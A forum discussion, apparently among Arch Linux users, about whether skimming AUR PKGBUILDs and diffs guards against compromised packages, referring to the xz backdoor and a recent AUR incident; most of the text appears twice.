Be real for a second,
Did you, or did you not, manage to review a diff, and say “no, that looks fishy”.
Do you really think you are immune from compromised binary AUR packages thats being downloaded straight from GitHub? Sure, now it’s not only the AUR that’s bad, but in the end of the day, a malicious binary did arrive at your computer.
Let’s say that you don’t use *-bin packages, and only download from compilable source, are you immune from the strategy that the state actor who caused CVE-2024-3094 used to compromise packages?
I’m with Cubit on this one. I updated some AUR packages last week. I always do a quick skim through the pkgbuild, and I always check the diffs with respect to my installed version. Auracle clones the git repo for the package, so it’s easy to check. It takes more work and, granted, it’s a reason they’ll stay outdated for longer. I updated 5/34 foreign packages. The others are just not worth it to update every time. And, personally, I have had PKGBUILDs that looked fishy, forgot the functionality I needed, were badly written, wrong dependencies,… and, after looking for alternatives, I just rewrote myself.
When I learned of the attack I did go and recheck those packages, but they were not impacted… I don’t do much node things, so if a node-related package was doing an npm install I might have missed it. But the commit author changing on the git diff I think I would have spotted. So if the attack was more sophisticated and was context dependent, using plausible commands, setting same git committer names, (ab)using files upstream, etc. Then yeah, I might get pwn’ed. But not like this.
Binaries from aur is asking for trouble, unless you absolutely trust the upstream. E.g. Microsoft, Amazon, … You can clearly see it in the PKGBUILD.
With -git packages, you need to be doubly aware, but if I need it, the alternative is I clone and install it myself, so not much security and probably frustration is gained.
The xz attack was on a different level, and if I remember correctly, never hit the arch main repo, by pure chance of not being a target. I trust the arch main repo’s. The day a key gets stolen, a lot of people will be impacted, so let’s hope this aur thing didn’t compromise more high profile maintainers…
Also, we’re talking about the AUR, not about upstream.
I’m not reading all patches on all main repo packages. And if I wanted to build everything myself I’d be using Gentoo.
I do understand some people don’t want to give the time to all these steps, but the alternative for me is just too bad. It’s a time/security trade-off for which everyone sets the weights differently.
Be real for a second,
Did you, or did you not, manage to review a diff, and say “no, that looks fishy”.
Do you really think you are immune from compromised binary AUR packages thats being downloaded straight from GitHub? Sure, now it’s not only the AUR that’s bad, but in the end of the day, a malicious binary did arrive at your computer.
Let’s say that you don’t use *-bin packages, and only download from compilable source, are you immune from the strategy that the state actor who caused CVE-2024-3094 used to compromise packages?
I’m with Cubit on this one. I updated some AUR packages last week. I always do a quick skim through the pkgbuild, and I always check the diffs with respect to my installed version. Auracle clones the git repo for the package, so it’s easy to check. It takes more work and, granted, it’s a reason they’ll stay outdated for longer. I updated 5/34 foreign packages. The others are just not worth it to update every time. And, personally, I have had PKGBUILDs that looked fishy, forgot the functionality I needed, were badly written, wrong dependencies,… and, after looking for alternatives, I just rewrote myself.
When I learned of the attack I did go and recheck those packages, but they were not impacted… I don’t do much node things, so if a node-related package was doing an npm install I might have missed it. But the commit author changing on the git diff I think I would have spotted. So if the attack was more sophisticated and was context dependent, using plausible commands, setting same git committer names, (ab)using files upstream, etc. Then yeah, I might get pwn’ed. But not like this.
Binaries from aur is asking for trouble, unless you absolutely trust the upstream. E.g. Microsoft, Amazon, … You can clearly see it in the PKGBUILD. With -git packages, you need to be doubly aware, but if I need it, the alternative is I clone and install it myself, so not much security and probably frustration is gained.
The xz attack was on a different level, and if I remember correctly, never hit the arch main repo, by pure chance of not being a target. I trust the arch main repo’s. The day a key gets stolen, a lot of people will be impacted, so let’s hope this aur thing didn’t compromise more high profile maintainers…
Also, we’re talking about the AUR, not about upstream. I’m not reading all patches on all main repo packages. And if I wanted to build everything myself I’d be using Gentoo.
I do understand some people don’t want to give the time to all these steps, but the alternative for me is just too bad. It’s a time/security trade-off for which everyone sets the weights differently.
No, it didn’t.